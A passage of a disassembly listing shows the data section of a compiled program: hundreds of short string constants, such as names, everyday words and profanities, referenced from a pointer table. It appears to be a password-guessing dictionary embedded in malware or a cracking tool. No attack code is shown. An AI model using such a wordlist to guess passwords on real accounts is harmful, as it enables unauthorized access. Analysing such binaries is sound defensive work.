aJeff db 'jeff',0 ; DATA XREF: ___:00430458o
align 4
aJeanne db 'jeanne',0 ; DATA XREF: ___:00430454o
align 10h
aJean db 'jean',0 ; DATA XREF: ___:00430450o
align 4
aJazz db 'jazz',0 ; DATA XREF: ___:0043044Co
align 10h
aJava db 'java',0 ; DATA XREF: ___:00430448o
align 4
aJasmin db 'jasmin',0 ; DATA XREF: ___:00430444o
align 10h
aJapan db 'japan',0 ; DATA XREF: ___:00430440o
align 4
aJanie db 'janie',0 ; DATA XREF: ___:0043043Co
align 10h
aJanice db 'janice',0 ; DATA XREF: ___:00430438o
align 4
aJanet db 'janet',0 ; DATA XREF: ___:00430434o
align 10h
aJane db 'jane',0 ; DATA XREF: ___:00430430o
align 4
aJail db 'jail',0 ; DATA XREF: ___:0043042Co
align 10h
aJackie db 'jackie',0 ; DATA XREF: ___:00430428o
align 4
aIsis db 'isis',0 ; DATA XREF: ___:00430424o
align 10h
aIrishman db 'irishman',0 ; DATA XREF: ___:00430420o
align 4
aIrene db 'irene',0 ; DATA XREF: ___:0043041Co
align 4
aInvent db 'invent',0 ; DATA XREF: ___:00430418o
align 4
aInteger db 'integer',0 ; DATA XREF: ___:00430414o
aInside db 'inside',0 ; DATA XREF: ___:00430410o
align 4
aInput db 'input',0 ; DATA XREF: ___:0043040Co
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: ___:00430408o
align 10h
aInna db 'inna',0 ; DATA XREF: ___:00430404o
align 4
aIngrid db 'ingrid',0 ; DATA XREF: ___:00430400o
align 10h
aIngress db 'ingress',0 ; DATA XREF: ___:004303FCo
aIngres db 'ingres',0 ; DATA XREF: ___:004303F8o
align 10h
aIndians db 'indians',0 ; DATA XREF: ___:004303F4o
aIndiana db 'indiana',0 ; DATA XREF: ___:004303F0o
aIndian db 'indian',0 ; DATA XREF: ___:004303ECo
align 4
aIndia db 'india',0 ; DATA XREF: ___:004303E8o
align 10h
aInclude db 'include',0 ; DATA XREF: ___:004303E4o
aImperial db 'imperial',0 ; DATA XREF: ___:004303E0o
align 4
aImmortal db 'immortal',0 ; DATA XREF: ___:004303DCo
align 10h
aImbrogli db 'imbrogli',0 ; DATA XREF: ___:004303D8o
align 4
aImage db 'image',0 ; DATA XREF: ___:004303D4o
align 4
aIllumina db 'illumina',0 ; DATA XREF: ___:004303D0o
align 10h
aIcecream db 'icecream',0 ; DATA XREF: ___:004303CCo
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: ___:004303C8o
align 4
aHyper db 'hyper',0 ; DATA XREF: ___:004303C4o
align 10h
aHydrogen db 'hydrogen',0 ; DATA XREF: ___:004303C0o
align 4
aHutchins db 'hutchins',0 ; DATA XREF: ___:004303BCo
align 4
aHunter db 'hunter',0 ; DATA XREF: ___:004303B8o
align 10h
aHunt db 'hunt',0 ; DATA XREF: ___:004303B4o
align 4
aHttp_0 db 'http',0 ; DATA XREF: ___:004303B0o
align 10h
aHotel db 'hotel',0 ; DATA XREF: ___:004303ACo
align 4
aHotdog db 'hotdog',0 ; DATA XREF: ___:004303A8o
align 10h
aHost db 'host',0 ; DATA XREF: ___:004303A4o
align 4
aHorus db 'horus',0 ; DATA XREF: ___:004303A0o
align 10h
aHorse db 'horse',0 ; DATA XREF: ___:0043039Co
align 4
aHorror db 'horror',0 ; DATA XREF: ___:00430398o
align 10h
aHorrible db 'horrible',0 ; DATA XREF: ___:00430394o
align 4
aHorny db 'horny',0 ; DATA XREF: ___:00430390o
align 4
aHooters db 'hooters',0 ; DATA XREF: ___:0043038Co
aHooker db 'hooker',0 ; DATA XREF: ___:00430388o
align 4
aHoney db 'honey',0 ; DATA XREF: ___:00430384o
align 4
aHomework db 'homework',0 ; DATA XREF: ___:00430380o
align 4
aHomer db 'homer',0 ; DATA XREF: ___:0043037Co
align 10h
aHomepage db 'homepage',0 ; DATA XREF: ___:00430378o
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: ___:00430374o
align 4
aHolly db 'holly',0 ; DATA XREF: ___:00430370o
align 10h
aHole db 'hole',0 ; DATA XREF: ___:0043036Co
align 4
aHits db 'hits',0 ; DATA XREF: ___:00430368o
align 10h
aHitler db 'hitler',0 ; DATA XREF: ___:00430364o
align 4
aHighland db 'highland',0 ; DATA XREF: ___:00430360o
align 4
aHigh db 'high',0 ; DATA XREF: ___:0043035Co
align 4
aHidden db 'hidden',0 ; DATA XREF: ___:00430358o
align 4
aHibernia db 'hibernia',0 ; DATA XREF: ___:00430354o
align 10h
aHiawatha db 'hiawatha',0 ; DATA XREF: ___:00430350o
align 4
aHexadeci db 'hexadeci',0 ; DATA XREF: ___:0043034Co
align 4
aHewlett db 'hewlett',0 ; DATA XREF: ___:00430348o
aHeroin db 'heroin',0 ; DATA XREF: ___:00430344o
align 4
aHero db 'hero',0 ; DATA XREF: ___:00430340o
align 10h
aHerbert db 'herbert',0 ; DATA XREF: ___:0043033Co
aHerb db 'herb',0 ; DATA XREF: ___:00430338o
align 10h
aHelp db 'help',0 ; DATA XREF: ___:00430334o
align 4
aHello db 'hello',0 ; DATA XREF: ___:00430330o
align 10h
aHell db 'hell',0 ; DATA XREF: ___:0043032Co
align 4
aHeinlein db 'heinlein',0 ; DATA XREF: ___:00430328o
align 4
aHeidi db 'heidi',0 ; DATA XREF: ___:00430324o
align 4
aHebrides db 'hebrides',0 ; DATA XREF: ___:00430320o
align 4
aHeather db 'heather',0 ; DATA XREF: ___:0043031Co
aHeathen db 'heathen',0 ; DATA XREF: ___:00430318o
aHeat db 'heat',0 ; DATA XREF: ___:00430314o
align 10h
aHeadbang db 'headbang',0 ; DATA XREF: ___:00430310o
align 4
aHead db 'head',0 ; DATA XREF: ___:0043030Co
align 4
aHawaii db 'hawaii',0 ; DATA XREF: ___:00430308o
align 4
aHaven db 'haven',0 ; DATA XREF: ___:00430304o
align 4
aHate db 'hate',0 ; DATA XREF: ___:00430300o
align 4
aHarvey db 'harvey',0 ; DATA XREF: ___:004302FCo
align 4
aHarold db 'harold',0 ; DATA XREF: ___:004302F8o
align 4
aHarmony db 'harmony',0 ; DATA XREF: ___:004302F4o
aHarddriv db 'harddriv',0 ; DATA XREF: ___:004302F0o
align 10h
aHardcore db 'hardcore',0 ; DATA XREF: ___:004302ECo
align 4
aHard db 'hard',0 ; DATA XREF: ___:004302E8o
align 4
aHappenin db 'happenin',0 ; DATA XREF: ___:004302E4o
align 10h
aHandjob db 'handjob',0 ; DATA XREF: ___:004302E0o
aHandily db 'handily',0 ; DATA XREF: ___:004302DCo
aHandel db 'handel',0 ; DATA XREF: ___:004302D8o
align 4
aHamster db 'hamster',0 ; DATA XREF: ___:004302D4o
aHamlet db 'hamlet',0 ; DATA XREF: ___:004302D0o
align 4
aHallowee db 'hallowee',0 ; DATA XREF: ___:004302CCo
align 4
aHair db 'hair',0 ; DATA XREF: ___:004302C8o
align 4
aHagar db 'hagar',0 ; DATA XREF: ___:004302C4o
align 4
aHacked db 'hacked',0 ; DATA XREF: ___:004302C0o
align 4
aHack db 'hack',0 ; DATA XREF: ___:004302BCo
align 4
aGuntis db 'guntis',0 ; DATA XREF: ___:004302B8o
align 4
aGumption db 'gumption',0 ; DATA XREF: ___:004302B4o
align 4
aGuitar db 'guitar',0 ; DATA XREF: ___:004302B0o
align 10h
aGuess db 'guess',0 ; DATA XREF: ___:004302ACo
align 4
aGucci db 'gucci',0 ; DATA XREF: ___:004302A8o
align 10h
aGuardian db 'guardian',0 ; DATA XREF: ___:004302A4o
align 4
aGryphon db 'gryphon',0 ; DATA XREF: ___:004302A0o
aGroup db 'group',0 ; DATA XREF: ___:0043029Co
align 4
aGreen db 'green',0 ; DATA XREF: ___:00430298o
align 4
aGreat db 'great',0 ; DATA XREF: ___:00430294o
align 4
aGrant db 'grant',0 ; DATA XREF: ___:00430290o
align 4
aGrand db 'grand',0 ; DATA XREF: ___:0043028Co
align 4
aGrahm db 'grahm',0 ; DATA XREF: ___:00430288o
align 4
aGraham db 'graham',0 ; DATA XREF: ___:00430284o
align 4
aGrades db 'grades',0 ; DATA XREF: ___:00430280o
align 4
aGovermen db 'govermen',0 ; DATA XREF: ___:0043027Co
align 10h
aGouge db 'gouge',0 ; DATA XREF: ___:00430278o
align 4
aGosling db 'gosling',0 ; DATA XREF: ___:00430274o
aGorges db 'gorges',0 ; DATA XREF: ___:00430270o
align 4
aGorgeous db 'gorgeous',0 ; DATA XREF: ___:0043026Co
align 4
aGood db 'good',0 ; DATA XREF: ___:00430268o
align 4
aGolfer db 'golfer',0 ; DATA XREF: ___:00430264o
align 4
aGolf db 'golf',0 ; DATA XREF: ___:00430260o
align 4
aGolden db 'golden',0 ; DATA XREF: ___:0043025Co
align 4
aGold db 'gold',0 ; DATA XREF: ___:00430258o
align 4
aGlacier db 'glacier',0 ; DATA XREF: ___:00430254o
aGirl db 'girl',0 ; DATA XREF: ___:00430250o
align 4
aGinger db 'ginger',0 ; DATA XREF: ___:0043024Co
align 4
aGina db 'gina',0 ; DATA XREF: ___:00430248o
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: ___:00430244o
align 4
aGibson db 'gibson',0 ; DATA XREF: ___:00430240o
align 10h
aGhost db 'ghost',0 ; DATA XREF: ___:0043023Co
align 4
aGertrude db 'gertrude',0 ; DATA XREF: ___:00430238o
align 4
aGerm db 'germ',0 ; DATA XREF: ___:00430234o
align 4
aGeorge db 'george',0 ; DATA XREF: ___:00430230o
align 4
aGauss db 'gauss',0 ; DATA XREF: ___:0043022Co
align 4
aGatt db 'gatt',0 ; DATA XREF: ___:00430228o
align 4
aGatherin db 'gatherin',0 ; DATA XREF: ___:00430224o
align 10h
aGateway db 'gateway',0 ; DATA XREF: ___:00430220o
aGarfield db 'garfield',0 ; DATA XREF: ___:0043021Co
align 4
aGardner db 'gardner',0 ; DATA XREF: ___:00430218o
aGames db 'games',0 ; DATA XREF: ___:00430214o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: ___:00430210o
aFungible db 'fungible',0 ; DATA XREF: ___:0043020Co
align 4
aFunction db 'function',0 ; DATA XREF: ___:00430208o
align 4
aFudge db 'fudge',0 ; DATA XREF: ___:00430204o
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: ___:00430200o
aFuckme db 'fuckme',0 ; DATA XREF: ___:004301FCo
align 4
aFucking db 'fucking',0 ; DATA XREF: ___:004301F8o
aFucker db 'fucker',0 ; DATA XREF: ___:004301F4o
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:004301F0o
align 4
aFryguy db 'fryguy',0 ; DATA XREF: ___:004301ECo
align 4
aFrog db 'frog',0 ; DATA XREF: ___:004301E8o
align 4
aFrighten db 'frighten',0 ; DATA XREF: ___:004301E4o
align 10h
aFriends db 'friends',0 ; DATA XREF: ___:004301E0o
aFriend db 'friend',0 ; DATA XREF: ___:004301DCo
align 10h
aFriday db 'friday',0 ; DATA XREF: ___:004301D8o
align 4
aFrench db 'french',0 ; DATA XREF: ___:004301D4o
align 10h
aFreedom db 'freedom',0 ; DATA XREF: ___:004301D0o
aFree db 'free',0 ; DATA XREF: ___:004301CCo
align 10h
aFred db 'fred',0 ; DATA XREF: ___:004301C8o
align 4
aFreak db 'freak',0 ; DATA XREF: ___:004301C4o
align 10h
aFrank db 'frank',0 ; DATA XREF: ___:004301C0o
align 4
aFrance db 'france',0 ; DATA XREF: ___:004301BCo
align 10h
aFoxtrot db 'foxtrot',0 ; DATA XREF: ___:004301B8o
aFourier db 'fourier',0 ; DATA XREF: ___:004301B4o
aForsythe db 'forsythe',0 ; DATA XREF: ___:004301B0o
align 4
aFornicat db 'fornicat',0 ; DATA XREF: ___:004301ACo
align 4
aFormat db 'format',0 ; DATA XREF: ___:004301A8o
align 10h
aForm db 'form',0 ; DATA XREF: ___:004301A4o
align 4
aForever db 'forever',0 ; DATA XREF: ___:004301A0o
aForesigh db 'foresigh',0 ; DATA XREF: ___:0043019Co
align 4
aFord db 'ford',0 ; DATA XREF: ___:00430198o
align 4
aForce db 'force',0 ; DATA XREF: ___:00430194o
align 4
aFootball db 'football',0 ; DATA XREF: ___:00430190o
align 4
aFoolproo db 'foolproo',0 ; DATA XREF: ___:0043018Co
align 4
aFool db 'fool',0 ; DATA XREF: ___:00430188o
align 4
aFood db 'food',0 ; DATA XREF: ___:00430184o
align 4
aFlowers db 'flowers',0 ; DATA XREF: ___:00430180o
aFlower db 'flower',0 ; DATA XREF: ___:0043017Co
align 4
aFlorida db 'florida',0 ; DATA XREF: ___:00430178o
aFloat db 'float',0 ; DATA XREF: ___:00430174o
align 4
aFlakes db 'flakes',0 ; DATA XREF: ___:00430170o
align 4
aFishers db 'fishers',0 ; DATA XREF: ___:0043016Co
aFirewall db 'firewall',0 ; DATA XREF: ___:00430168o
align 10h
aFire db 'fire',0 ; DATA XREF: ___:00430164o
align 4
aFinite db 'finite',0 ; DATA XREF: ___:00430160o
align 10h
aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o
; sub_40EE72+1EF9o ...
align 4
aFight db 'fight',0 ; DATA XREF: ___:00430158o
align 10h
aField db 'field',0 ; DATA XREF: ___:00430154o
align 4
aFidelity db 'fidelity',0 ; DATA XREF: ___:00430150o
align 4
aFerrari db 'ferrari',0 ; DATA XREF: ___:0043014Co
aFermat db 'fermat',0 ; DATA XREF: ___:00430148o
align 4
aFender db 'fender',0 ; DATA XREF: ___:00430144o
align 4
aFelicia db 'felicia',0 ; DATA XREF: ___:00430140o
aFeds db 'feds',0 ; DATA XREF: ___:0043013Co
align 4
aFear db 'fear',0 ; DATA XREF: ___:00430138o
align 4
aFast db 'fast',0 ; DATA XREF: ___:00430134o
align 4
aFart db 'fart',0 ; DATA XREF: ___:00430130o
align 4
aFaraday db 'faraday',0 ; DATA XREF: ___:0043012Co
aFarad db 'farad',0 ; DATA XREF: ___:00430128o
align 4
aFamily db 'family',0 ; DATA XREF: ___:00430124o
align 4
aFalse db 'false',0 ; DATA XREF: ___:00430120o
align 4
aFalcon db 'falcon',0 ; DATA XREF: ___:0043011Co
align 4
aFaith db 'faith',0 ; DATA XREF: ___:00430118o
align 4
aFairway db 'fairway',0 ; DATA XREF: ___:00430114o
aExtensio db 'extensio',0 ; DATA XREF: ___:00430110o
align 4
aExplosiv db 'explosiv',0 ; DATA XREF: ___:0043010Co
align 4
aExplorer db 'explorer',0 ; DATA XREF: ___:00430108o
align 10h
aExplore db 'explore',0 ; DATA XREF: ___:00430104o
aExplode db 'explode',0 ; DATA XREF: ___:00430100o
aExpert db 'expert',0 ; DATA XREF: ___:004300FCo
align 4
aEvelyn db 'evelyn',0 ; DATA XREF: ___:004300F8o
align 10h
aEuclid db 'euclid',0 ; DATA XREF: ___:004300F4o
align 4
aEternity db 'eternity',0 ; DATA XREF: ___:004300F0o
align 4
aEstate db 'estate',0 ; DATA XREF: ___:004300ECo
align 4
aEstablis db 'establis',0 ; DATA XREF: ___:004300E8o
align 4
aErsatz db 'ersatz',0 ; DATA XREF: ___:004300E4o
align 10h
aErotic db 'erotic',0 ; DATA XREF: ___:004300E0o
align 4
aErin db 'erin',0 ; DATA XREF: ___:004300DCo
align 10h
aErika db 'erika',0 ; DATA XREF: ___:004300D8o
align 4
aErica db 'erica',0 ; DATA XREF: ___:004300D4o
align 10h
aEric db 'eric',0 ; DATA XREF: ___:004300D0o
align 4
aErenity db 'erenity',0 ; DATA XREF: ___:004300CCo
aEnzyme db 'enzyme',0 ; DATA XREF: ___:004300C8o
align 4
aEnterpri db 'enterpri',0 ; DATA XREF: ___:004300C4o
align 4
aEnter db 'enter',0 ; DATA XREF: ___:004300C0o
align 4
aEnglish db 'english',0 ; DATA XREF: ___:004300BCo
aEngland db 'england',0 ; DATA XREF: ___:004300B8o
aEngineer db 'engineer',0 ; DATA XREF: ___:004300B4o
align 4
aEngine db 'engine',0 ; DATA XREF: ___:004300B0o
align 10h
aEnemy db 'enemy',0 ; DATA XREF: ___:004300ACo
align 4
aEmmanuel db 'emmanuel',0 ; DATA XREF: ___:004300A8o
align 4
aEmily db 'emily',0 ; DATA XREF: ___:004300A4o
align 4
aEmerald db 'emerald',0 ; DATA XREF: ___:004300A0o
aEmail db 'email',0 ; DATA XREF: ___:0043009Co
align 4
aEllen db 'ellen',0 ; DATA XREF: ___:00430098o
align 4
aElizabet db 'elizabet',0 ; DATA XREF: ___:00430094o
align 10h
aElephant db 'elephant',0 ; DATA XREF: ___:00430090o
align 4
aElectron db 'electron',0 ; DATA XREF: ___:0043008Co
align 4
aElanor db 'elanor',0 ; DATA XREF: ___:00430088o
align 10h
aElaine db 'elaine',0 ; DATA XREF: ___:00430084o
align 4
aEinstein db 'einstein',0 ; DATA XREF: ___:00430080o
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: ___:0043007Co
align 10h
aEileen db 'eileen',0 ; DATA XREF: ___:00430078o
align 4
aEiderdow db 'eiderdow',0 ; DATA XREF: ___:00430074o
align 4
aEgghead db 'egghead',0 ; DATA XREF: ___:00430070o
aEdwina db 'edwina',0 ; DATA XREF: ___:0043006Co
align 4
aEdwin db 'edwin',0 ; DATA XREF: ___:00430068o
align 4
aEducatio db 'educatio',0 ; DATA XREF: ___:00430064o
align 4
aEducation db 'education',0 ; DATA XREF: ___:00430060o
align 4
aEdition db 'edition',0 ; DATA XREF: ___:off_43005Co
aEdit db 'edit',0 ; DATA XREF: ___:00430058o
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: ___:00430054o
align 10h
aEdges db 'edges',0 ; DATA XREF: ___:off_430050o
align 4
aEddie db 'eddie',0 ; DATA XREF: ___:0043004Co
align 10h
aEcho db 'echo',0 ; DATA XREF: ___:00430048o
align 4
aEatme db 'eatme',0 ; DATA XREF: ___:00430044o
align 10h
aEasy db 'easy',0 ; DATA XREF: ___:00430040o
align 4
aEasier db 'easier',0 ; DATA XREF: ___:0043003Co
align 10h
aEarth db 'earth',0 ; DATA XREF: ___:00430038o
align 4
aEagle db 'eagle',0 ; DATA XREF: ___:00430034o
align 10h
aEager db 'eager',0 ; DATA XREF: ___:00430030o
align 4
aDyke db 'dyke',0 ; DATA XREF: ___:0043002Co
align 10h
aDungeon db 'dungeon',0 ; DATA XREF: ___:00430028o
aDuncan db 'duncan',0 ; DATA XREF: ___:00430024o
align 10h
aDulce db 'dulce',0 ; DATA XREF: ___:00430020o
align 4
aDuke db 'duke',0 ; DATA XREF: ___:0043001Co
align 10h
aDuelist db 'duelist',0 ; DATA XREF: ___:00430018o
aDude db 'dude',0 ; DATA XREF: ___:00430014o
align 10h
aDuck db 'duck',0 ; DATA XREF: ___:00430010o
align 4
aDrought db 'drought',0 ; DATA XREF: ___:0043000Co
aDrive db 'drive',0 ; DATA XREF: ___:00430008o
align 4
aDrdoom db 'drdoom',0 ; DATA XREF: ___:00430004o
align 10h
aDragon db 'dragon',0 ; DATA XREF: ___:00430000o
align 4
aDownload db 'download',0 ; DATA XREF: ___:0042FFFCo
align 4
aDope db 'dope',0 ; DATA XREF: ___:0042FFF8o
align 4
aDoors db 'doors',0 ; DATA XREF: ___:0042FFF4o
align 4
aDoor db 'door',0 ; DATA XREF: ___:0042FFF0o
align 4
aDoonesbu db 'doonesbu',0 ; DATA XREF: ___:0042FFECo
align 4
aDoomsday db 'doomsday',0 ; DATA XREF: ___:0042FFE8o
align 4
aDoomii db 'doomii',0 ; DATA XREF: ___:0042FFE4o
align 4
aDoom2 db 'doom2',0 ; DATA XREF: ___:0042FFE0o
align 4
aDoom db 'doom',0 ; DATA XREF: ___:0042FFDCo
align 4
aDong db 'dong',0 ; DATA XREF: ___:0042FFD8o
align 4
aDollar db 'dollar',0 ; DATA XREF: ___:0042FFD4o
align 4
aDoctor db 'doctor',0 ; DATA XREF: ___:0042FFD0o
align 4
aDisplay_0 db 'display',0 ; DATA XREF: ___:0042FFCCo
aDisney db 'disney',0 ; DATA XREF: ___:0042FFC8o
align 4
aDiskette db 'diskette',0 ; DATA XREF: ___:0042FFC4o
align 10h
aDisk_0 db 'disk',0 ; DATA XREF: ___:0042FFC0o
align 4
aDiscover db 'discover',0 ; DATA XREF: ___:0042FFBCo
align 4
aDisclose db 'disclose',0 ; DATA XREF: ___:0042FFB8o
align 10h
aDiscipli db 'discipli',0 ; DATA XREF: ___:0042FFB4o
align 4
aDisc db 'disc',0 ; DATA XREF: ___:0042FFB0o
align 4
aDirty db 'dirty',0 ; DATA XREF: ___:0042FFACo
align 4
aDirector db 'director',0 ; DATA XREF: ___:0042FFA8o
align 4
aDirect db 'direct',0 ; DATA XREF: ___:0042FFA4o
align 10h
aDipshit db 'dipshit',0 ; DATA XREF: ___:0042FFA0o
aDinosaur db 'dinosaur',0 ; DATA XREF: ___:0042FF9Co
align 4
aDigital db 'digital',0 ; DATA XREF: ___:0042FF98o
aDieter db 'dieter',0 ; DATA XREF: ___:0042FF94o
align 4
aDiet db 'diet',0 ; DATA XREF: ___:0042FF90o
align 4
aDiehard db 'diehard',0 ; DATA XREF: ___:0042FF8Co
aDick db 'dick',0 ; DATA XREF: ___:0042FF88o
align 4
aDice db 'dice',0 ; DATA XREF: ___:0042FF84o
align 4
aDiane db 'diane',0 ; DATA XREF: ___:0042FF80o
align 4
aDiana db 'diana',0 ; DATA XREF: ___:0042FF7Co
align 4
aDiamond db 'diamond',0 ; DATA XREF: ___:0042FF78o
aDial db 'dial',0 ; DATA XREF: ___:0042FF74o
align 4
aDevice db 'device',0 ; DATA XREF: ___:0042FF70o
align 4
aDevelop db 'develop',0 ; DATA XREF: ___:0042FF6Co
aDesperat db 'desperat',0 ; DATA XREF: ___:0042FF68o
align 10h
aDesktop db 'desktop',0 ; DATA XREF: ___:0042FF64o
aDesk db 'desk',0 ; DATA XREF: ___:0042FF60o
align 10h
aDesiree db 'desiree',0 ; DATA XREF: ___:0042FF5Co
aDennis db 'dennis',0 ; DATA XREF: ___:0042FF58o
align 10h
aDenise db 'denise',0 ; DATA XREF: ___:0042FF54o
align 4
aDemocrat db 'democrat',0 ; DATA XREF: ___:0042FF50o
align 4
aDeluge db 'deluge',0 ; DATA XREF: ___:0042FF4Co
align 4
aDelta db 'delta',0 ; DATA XREF: ___:0042FF48o
align 4
aDefoe db 'defoe',0 ; DATA XREF: ___:0042FF44o
align 4
aDefault_0 db 'DEFAULT',0 ; DATA XREF: ___:0042FF40o
aDeck db 'deck',0 ; DATA XREF: ___:0042FF38o
align 4
aDecember db 'december',0 ; DATA XREF: ___:0042FF34o
align 4
aDebug db 'debug',0 ; DATA XREF: ___:0042FF30o
align 10h
aDeborah db 'deborah',0 ; DATA XREF: ___:0042FF2Co
aDebbie db 'debbie',0 ; DATA XREF: ___:0042FF28o
align 10h
aDeathsta db 'deathsta',0 ; DATA XREF: ___:0042FF24o
align 4
aDead db 'dead',0 ; DATA XREF: ___:0042FF20o
align 4
aDawn db 'dawn',0 ; DATA XREF: ___:0042FF1Co
align 4
aDave db 'dave',0 ; DATA XREF: ___:0042FF18o
align 4
aData db 'data',0 ; DATA XREF: ___:0042FF14o
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: ___:0042FF10o
align 4
aDark db 'dark',0 ; DATA XREF: ___:0042FF0Co
align 10h
aDapper db 'dapper',0 ; DATA XREF: ___:0042FF08o
align 4
aDanny db 'danny',0 ; DATA XREF: ___:0042FF04o
align 10h
aDanielle db 'danielle',0 ; DATA XREF: ___:0042FF00o
align 4
aDaniel db 'daniel',0 ; DATA XREF: ___:0042FEFCo
align 4
aDancer db 'dancer',0 ; DATA XREF: ___:0042FEF8o
align 4
aDana db 'dana',0 ; DATA XREF: ___:0042FEF4o
align 4
aDaisy db 'daisy',0 ; DATA XREF: ___:0042FEF0o
align 4
aDaemon db 'daemon',0 ; DATA XREF: ___:0042FEECo
align 4
aCynthia db 'cynthia',0 ; DATA XREF: ___:0042FEE8o
aCyberspa db 'cyberspa',0 ; DATA XREF: ___:0042FEE4o
align 4
aCyberpun db 'cyberpun',0 ; DATA XREF: ___:0042FEE0o
align 4
aCyber db 'cyber',0 ; DATA XREF: ___:0042FEDCo
align 4
aCustomer db 'customer',0 ; DATA XREF: ___:0042FED8o
align 4
aCunt db 'cunt',0 ; DATA XREF: ___:0042FED4o
align 10h
aCshrc db 'cshrc',0 ; DATA XREF: ___:0042FED0o
align 4
aCrystal db 'crystal',0 ; DATA XREF: ___:0042FECCo
aCristina db 'cristina',0 ; DATA XREF: ___:0042FEC8o
align 4
aCriminal db 'criminal',0 ; DATA XREF: ___:0042FEC4o
align 4
aCrime db 'crime',0 ; DATA XREF: ___:0042FEC0o
align 10h
aCretin db 'cretin',0 ; DATA XREF: ___:0042FEBCo
align 4
aCreosote db 'creosote',0 ; DATA XREF: ___:0042FEB8o
align 4
aCredit db 'credit',0 ; DATA XREF: ___:0042FEB4o
align 4
aCreature db 'creature',0 ; DATA XREF: ___:0042FEB0o
align 4
aCreation db 'creation',0 ; DATA XREF: ___:0042FEACo
align 4
aCreate db 'create',0 ; DATA XREF: ___:0042FEA8o
align 4
aCream db 'cream',0 ; DATA XREF: ___:0042FEA4o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: ___:0042FEA0o
align 10h
aCrack db 'crack',0 ; DATA XREF: ___:0042FE9Co
align 4
aCowboy db 'cowboy',0 ; DATA XREF: ___:0042FE98o
align 10h
aCouscous db 'couscous',0 ; DATA XREF: ___:0042FE94o
align 4
aCountry db 'country',0 ; DATA XREF: ___:0042FE90o
aCounters db 'counters',0 ; DATA XREF: ___:0042FE8Co
align 10h
aCorrect db 'correct',0 ; DATA XREF: ___:0042FE88o
aCorneliu db 'corneliu',0 ; DATA XREF: ___:0042FE84o
align 4
aCopy db 'copy',0 ; DATA XREF: ___:0042FE80o
align 4
aCops db 'cops',0 ; DATA XREF: ___:0042FE7Co
align 4
aCopper db 'copper',0 ; DATA XREF: ___:0042FE78o
align 4
aCooper db 'cooper',0 ; DATA XREF: ___:0042FE74o
align 4
aCool_1 db 'cool',0 ; DATA XREF: ___:0042FE70o
align 4
aCookie db 'cookie',0 ; DATA XREF: ___:0042FE6Co
align 4
aCookbook db 'cookbook',0 ; DATA XREF: ___:0042FE68o
align 10h
aCook db 'cook',0 ; DATA XREF: ___:0042FE64o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o
; ___:0042FE60o
align 4
aConsole db 'console',0 ; DATA XREF: ___:0042FE5Co
aConserva db 'conserva',0 ; DATA XREF: ___:0042FE58o
align 4
aConnie db 'connie',0 ; DATA XREF: ___:0042FE54o
align 10h
aCondom db 'condom',0 ; DATA XREF: ___:0042FE4Co
align 4
aCondo db 'condo',0 ; DATA XREF: ___:0042FE48o
align 10h
aComrades db 'comrades',0 ; DATA XREF: ___:0042FE44o
align 4
aComrade db 'comrade',0 ; DATA XREF: ___:0042FE40o
aComputin db 'computin',0 ; DATA XREF: ___:0042FE3Co
align 10h
aCompany db 'company',0 ; DATA XREF: ___:0042FE38o
aCommrade db 'commrade',0 ; DATA XREF: ___:0042FE34o
align 4
aCommit db 'commit',0 ; DATA XREF: ___:0042FE30o
align 4
aComics db 'comics',0 ; DATA XREF: ___:0042FE2Co
align 4
aCombat db 'combat',0 ; DATA XREF: ___:0042FE28o
align 4
aColor db 'color',0 ; DATA XREF: ___:0042FE24o
align 4
aCollins db 'collins',0 ; DATA XREF: ___:0042FE20o
aCold db 'cold',0 ; DATA XREF: ___:0042FE1Co
align 4
aCola db 'cola',0 ; DATA XREF: ___:0042FE18o
align 4
aCoke db 'coke',0 ; DATA XREF: ___:0042FE14o
align 4
aCoin db 'coin',0 ; DATA XREF: ___:0042FE10o
align 4
aCoffee db 'coffee',0 ; DATA XREF: ___:0042FE0Co
align 4
aCodeword db 'codeword',0 ; DATA XREF: ___:0042FE08o
align 10h
aCodename db 'codename',0 ; DATA XREF: ___:0042FE04o
align 4
aCode db 'code',0 ; DATA XREF: ___:0042FE00o
align 4
aCock db 'cock',0 ; DATA XREF: ___:0042FDFCo
align 4
aCocainco db 'cocainco',0 ; DATA XREF: ___:0042FDF8o
align 4
aCocacola db 'cocacola',0 ; DATA XREF: ___:0042FDF4o
align 4
aCoast db 'coast',0 ; DATA XREF: ___:0042FDF0o
align 4
aClusters db 'clusters',0 ; DATA XREF: ___:0042FDECo
align 4
aCluster db 'cluster',0 ; DATA XREF: ___:0042FDE8o
aClinton db 'clinton',0 ; DATA XREF: ___:0042FDE4o
aCleavage db 'cleavage',0 ; DATA XREF: ___:0042FDE0o
align 4
aClaymore db 'claymore',0 ; DATA XREF: ___:0042FDDCo
align 10h
aClaudia db 'claudia',0 ; DATA XREF: ___:0042FDD8o
aClassic db 'classic',0 ; DATA XREF: ___:0042FDD4o
aClasses db 'classes',0 ; DATA XREF: ___:0042FDD0o
aClass db 'class',0 ; DATA XREF: ___:0042FDCCo
align 10h
aCindy db 'cindy',0 ; DATA XREF: ___:0042FDC8o
align 4
aCigarett db 'cigarett',0 ; DATA XREF: ___:0042FDC4o
align 4
aCigar db 'cigar',0 ; DATA XREF: ___:0042FDC0o
align 4
aChristy db 'christy',0 ; DATA XREF: ___:0042FDBCo
aChristin db 'christin',0 ; DATA XREF: ___:0042FDB8o
align 10h
aChris db 'chris',0 ; DATA XREF: ___:0042FDB4o
align 4
aChip db 'chip',0 ; DATA XREF: ___:0042FDB0o
align 10h
aChester db 'chester',0 ; DATA XREF: ___:0042FDACo
aChess db 'chess',0 ; DATA XREF: ___:0042FDA8o
align 10h
aChemistr db 'chemistr',0 ; DATA XREF: ___:0042FDA4o
align 4
aChem db 'chem',0 ; DATA XREF: ___:0042FDA0o
align 4
aChat_0 db 'chat',0 ; DATA XREF: ___:0042FD9Co
align 4
aCharon db 'charon',0 ; DATA XREF: ___:0042FD98o
align 4
